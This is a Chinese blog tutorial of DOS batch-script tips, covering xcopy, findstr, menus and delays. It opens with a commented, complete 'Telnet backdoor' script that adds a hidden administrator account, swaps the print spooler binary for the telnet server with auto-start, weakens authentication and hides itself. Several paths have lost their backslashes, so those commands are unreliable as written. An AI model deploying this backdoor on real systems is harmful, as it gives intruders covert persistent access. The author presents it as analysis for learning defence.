您的位置:首页 > 其它

Dos脚本技巧(补充内容)

2017-12-31 15:13 225 查看

Dos脚本技巧(补充内容)



内容索引
DOS系列已发布文章请看前一篇文章(个人总结脑图汇总), 里有所有文章的索引目录.

两个批处理实例

实例一: Telnet后门(网络上搜的, 没啥用了, 只作批处理分析)
声明: 该脚本是个老掉牙的过时了的脚本, 自己作作实验还是可以, 不适合真刀真枪的玩儿.
::---------批处理开始------------
@echo off
net user testuser$ 123456 /add
::这里的testuser$加了个$符号, 起到的是命令窗口net user 结果中隐藏用户, 但在lusrmgr.msc管理器中testuser$是隐藏不了滴.



插个图说明一下, 希望不太影响大家的阅读
::当然还是有方法可做到彻底隐藏, 这些又涉及到注册表了, 后面小编会给出高人指点很详细的方法.
::知道了别人怎么攻的, 大家就知道怎么防了
net localgroup administrators testuser$ /add
::将创建的用户testuser$升级为管理员(加入到管理员组)
sc stop spooler
:: 停止打印池服务
sc stop tlntsvr
::停止 telnet 服务
copy %systemroot%system32 lntsvr.exe %systemroot%system32dllcachespoolsv.exe /y
::将系统目录中的telnet服务程序复制到dllcache文件夹下, 并重命名为spoolsv.exe 打印池服务程序名
copy %systemroot%system32 lntsvr.exe %systemroot%system32spoolsv.exe /y
::复制并重命名覆盖同目录下的打印池服务程序(因为这个打印池服务程序默认是开机启动的, 而telnet服务默认大多是禁用的)
sc config spooler binpath= %systemroot%system32spoolsv.exe start= auto
::修改打印服务的绑定程序的路径配置, 并设置为自动(即开机启动)
sc start spooler ::启动打印服务(其实启动的是telnet的服务)
tlntadmn config sec = -ntlm + passwd
::这里的 tlntadmn 是telnet服务相关配置命令, 建议想玩的朋友自己百度
::这里配置是去除ntlm验证机制,使用密码验证
tlntadmn config port = 915
::配置远程访问端口
sc config schedule start= auto
::把计划任务这个服务配置为自动
sc starts chedule
::启动计划任务服务
at 23:05 "%ProgramFiles%Internet Explorertelnet.bat">"%ProgramFiles%Internet Explorerlog.txt"
::定时执行telnet.bat脚本, 执行结果写入到指定的文件中
at 11:05 "%ProgramFiles%Internet Explorertelnet.bat">>"%ProgramFiles%Internet Explorerlog.txt"
::同上一命令行功能相同, 也是定时执行, 主要是防止上一次执行失败
attrib +s +h +r %0 & exit
::将该脚本的属性配置为, h隐藏 / r只读的 / s系统文件属性
::-------------批处理结束----------
当然对用户隐藏和反隐藏有高人讲的很细了, 贴个链接, 供大家闲来无事时折腾. https://www.cnblogs.com/lunachy/p/4602228.html 有关上脚本中的 tlntadmn 命令的相关文章, 小编也采集了一篇文章 https://wenku.baidu.com/view/eea1481c6bd97f192279e9aa.html 小编本人不知道大家能不能接受这种脚本解析方式, 如果用小屏手机来看, 感觉可能糟糕点儿, 心乱的朋友请跳过.
实例二: 安全小工具
::--------------批处理开始-------------
@echo off
:menu
::这个:menu 是goto的跳转标签, 略懂脚本或编程的朋友晓得, 小编建议有兴趣的比着敲一下
color 2
:: color 命令设置当前CMD窗口的前景和背景色
title 安全小工具
:: title命令设置CMD窗口的标题
set number=
set pid=
set task=
:: 上面 number, pid, task 是创建的三个变量并初始化为空
setlocal enabledelayedexpansion
:: 开启变量延迟扩展功能
cls ::清屏
echo. ::输出空行
echo a、结束指定的进程
echo b、禁止指定程序运行
echo c、查询指定端口连接
echo.
set /p number=请输入你的选择:
:: set /p 是用于与用户交互, 等待用户输入
if /i "%number%"=="a" ( ::如果用户选择了a 选项
tasklist
:: 打印进程列表tasklist
echo.
set /p pid=输入要结束进程的PID值:
::输入用户想结束的进程 PID 值
taskkill /PID !pid!
:: 命令taskkill /pid 就是通过PID值结束进程, !pid! 两边的感叹号就是开启延迟变量扩展功能后, 必须使用的符号
pause >nul
goto menu
) :: IF判断语句的结束括号
if /i"%number%"=="b" (
echo.
set /p task=输入进程名:
::通过进程的名称来结束进程
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File ExecutionOptions!task!" /v Debugger /t reg_sz /d c: est.exe
pause >nul
goto again
)
if /i"%number%"=="c" (
echo.
set /p port=请输入要查询的端口:
echo.
netstat -an |findstr "!port!"
pause >nul
goto again
)
if not"%number%"=="" ( ::用户没有输入时
echo.
echo 没有此选项!
pause >nul
goto again
)
::-------------------批处理结束-----------------



实例运行效果

常用技巧

1、*.*的简写
*.*可以用.代替,例如,删除当前目录中的全部文件(可没说包含删除子文件夹的事儿)∶
DEL .



创建个测试的环境出来



执行 Del . 命令操作



执行 del . 命令后
2、分屏显示文件内容
方法一∶MORE<filename
方法二∶TYPE filename|more
注意: 分屏显示时, 回车键和空格键的作用不同, 回车键一次滚动一行, 空格键一次滚动一屏



使用more加重定向符号分屏显示文本内容



使用 type 和 管道符分屏显示文本内容
3、向文本文件中追加数据
方法一: copy filename1 + filename2 将filename2的内容追加到filename文件内容尾部



使用+号将后面文件的内容追加到前面的文件中



追加文本后的效果
方法二: type filename1 >> filename2 将filename1内容追加到filename2内容的尾部



使用重定向符将前文件内容追加到后面的文件中



追加文本后的效果
方法三∶COPY filename+CON 在 filename文件的尾部, 手动追加内容, 输入完毕后按F6或



+ CON 的操作



追加的内容展示
方法四∶TYPE CON>>filename 功能同方法三



type con 的方式追加内容



type con 追加内容展示
4、零字节文件的生成
方法∶TYPE NUL>filename



没有数据恢复技术小编也没验证过
此方法主要用于处理需保密的磁盘文件,起到删除文件内容的作用,内容被删除后一般不可恢复(覆盖式删除大法)
5、使用TYPE命令"拷贝"文件
拷贝文件通常使用COPY命令或XCOPY命令,其实,TYPE也有"拷贝"文件的用途∶
TYPE filenamel>filename2 (前面测试过了, 不赘述了)



聊一下XCOPY 这个命令与COPY的区别是, 前者是文件夹或文件复制, 后者只是文件复制, XP默认没有XCOPY这个命令, 可能有的GHOST版本中有, 小编不确定, 大家可以试, 不过WIN7中肯定是有的.



xcopy帮助
小编就顺便演示几个常用的:
环境:



演示环境说明



包含的几个只读属性的文件



实验环境的目录结构
(1) 默认复制操作



xcopy默认复制操作



关闭确认提示
(2)复制目录及其子目录(不包含空目录)
/S 复制目录和子目录,不包括空目录



不包含空目录的复制
(3)复制目录及其子目录(包含空目录)
/E 复制目录和子目录,包括空目录



包含空目录的复制
(4)复制指定日期及其以后的创建或修改的文件
/D:m-d-y 复制在指定日期或指定日期以后更改的文件



复制指定日期及其以后更改的文件
(5)只想复制目录的结构, 而不想复制文件,使用 /t 参数
/T 创建目录结构,但不复制文件。不包括空目录或子目录。/T /E 包括空目录和子目录。



只复制目录结构
总结: 小编常用的xcopy的功能, 基本上就上面5个, 不管你复制使用了什么特殊参数, 可以看到, 都不包含test123文件夹本身.
6、列举当天创建的文件目录
想查看当天(如2017年12月19日)建立了多少文件,可用如下指令∶
dir | find"2017-12-19"



按文件的创建日期查找文件
7、以小写方式显示文件或目录
DIR /L



DIR /L参数的应用
8、pushd & popd用法(在入侵中经常用到)
栈: 形象的比喻就是一端封闭的装羽毛球的筒子, 先装进去的羽毛球肯定是最后才能取出来, 装的过程就是Pushd(压栈), 取的过程叫 popd(出栈),
大家在应用不想的太复杂了, 简单的想就是装和取的过程



pushd popd 这两个命令, 学过数据结构的很容易明白
9、请按回车键继续
@echo off
set /p test=请按回车键继续:
以上就是一个等待输入的提示, 回车就表示输入完毕了, 跟pause是有区别的哦.
10、使ECHO命令显示空行
ECHO命令后直接跟空格字符时,ECHO将显示当前的信息回显状态(ON或OFF),而不直接向屏幕回显空行。其实,下面一些非常简单的命令格式都能使ECHO命令显示空行∶



打印空行的方法
11. 批处理时间延迟
样例1:
@echo off
echo 延迟前...
ping /n 2 127.0.0.1>nul
echo 延迟后...
pause>nul
说明: 就是使用 ping 命令 ping 本地 IP 产生的时间差当作延迟
##########
样例2:
@echo off
echo 延迟前....
for /l %%a in (1,1,10000) do echo %%a>nul
echo 延迟后....
pause>nul
说明: 这个吧, 就是让电脑数数, 从1数到10000, 这期间的时间差就算作延迟了.
12. 批处理模拟的进度条
@echo off
mode con cols=80 lines=15 && color 9f
cls
echo.
echo 程序正在初始化. . .
echo.
echo ┌───────────────────────────────┐
for /L %%i in (1,1,20) do set /p a=■<nul & ping /n 2 127.0.0.1>nul
echo 100%
echo └───────────────────────────────┘
pause.



模拟进度条
13. 批处理模拟菜单
@echo off
cls
title 批处理模拟菜单实例
:menu
cls
color 0A
echo.
::如前提到的, echo后面紧跟个英文点符号就输出一个空行
echo ==============================
echo 请选择要进行的操作,然后按回车
echo ==============================
echo.
echo 1. 菜单1
echo.
echo 2. 菜单2
echo.
echo 3. 菜单3
echo.
echo 4. 菜单4
echo.
echo Q. 退出
echo.
echo.
set choice=
::创建一个变量choice并初始为空值, 因为循环跳转要保证其接收的都用户的最新输入值
set /pchoice= 请选择:
::与用户进行交互, 提示用户输入
IF NOT "%choice%"=="" SET choice=%choice:~0,1%
::如果用户输入的内容不为空, 则取用户输入内容中从0开始数第1个字符(考虑到用户输入过多)
if /i "%choice%"=="1" goto flag1
if /i "%choice%"=="2" goto flag2
if /i "%choice%"=="3" goto flag3
if /i "%choice%"=="4" goto flag4
if /i "%choice%"=="Q" goto endd
echo 选择无效,请重新输入
echo.
goto menu
::这五个IF语句就是对各个用户指定的各个选项进行判断执行相关操作
::除了1, 2, 3, 4, Q 之外都是无效输入
:flag1
功能代码
处理完成返回到 menu
goto menu
:flag2
功能代码
处理完成返回到 menu
goto menu
:flag3
功能代码
处理完成返回到 menu
goto menu
:flag4
功能代码
处理完成返回到 menu
goto menu
:endd
exit
::exit命令就是退出脚本了



模拟菜单

字符串搜索命令Findstr



Findstr 帮助内容
相比较之前讲的Find命令:
find 作用:从文件中收索字符串
格式:find 参数 "字符串" 路径文件名



Find命令(对比一下Findstr)
简单一: 在指定的文件中查找指定的字符串
/C:string 使用指定字符串作为文字搜索字符串。



findstr /c"搜索关键字" 文件
简单二: 多关键字搜索, 关键字是不是英文字符的区别
/C:string 使用指定字符串作为文字搜索字符串。
/R 将搜索字符串作为一般表达式使用。
注意: 多关键字不能使用 /c 参数, 非英文字符的关键字必须使得 /r 参数



多关键字和关键字是否为英文字符区别



单独说明一下/r 参数的作用
简单三: 在指定路径下所有文件中搜索指定的关键字, 或多关键字



两个相同内容的文件



在所有文件中搜索, 并打印出所有包含指定关键字的行



多文件中进行多关键字搜索
简单四: 在当前目录及其子目录下的所有文件中去搜索
/S 在当前目录和所有子目录中搜索匹配文件



多级目录, 多文件, 多关键字
简单五: 如果你只想看到包含这些关键字的文件名就可以了, 请使用/M 参数
/M 如果文件含有匹配项,只打印其文件名。(指定文件中输出含有字符串的文件名)



只显示包含关键字的文件名
简单六: 当然你还可看看包含关键的行的行号
/N 在匹配的每行输出, 前面打印行号



显示包含关键的行的行号
简单七: 查找英文字符时有个大小的区别, 想区分开就用 /i 参数. 想只打印不匹配的行出来就用 /v 参数
/I 指定搜索不分大小写
/V 只打印不包含匹配的行



忽略英文大小写, 只显示不匹配的行内容
不简单: 折磨人的 /o 参数
/O 在每个匹配行前打印字符偏移量。o开关的作用是告诉你每行第一个字符前的位置是该文件中的第几个字节
计算时别忘了文本中不可见的回车符合换行符将占两字节(某些文本中只占一字节)。还有空格键一个字符。



给出每个匹配关键字在一篇文章中的偏移量
以上算是最常用到的 findstr 命令的功能了, 建议大家多实践
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  cmd dos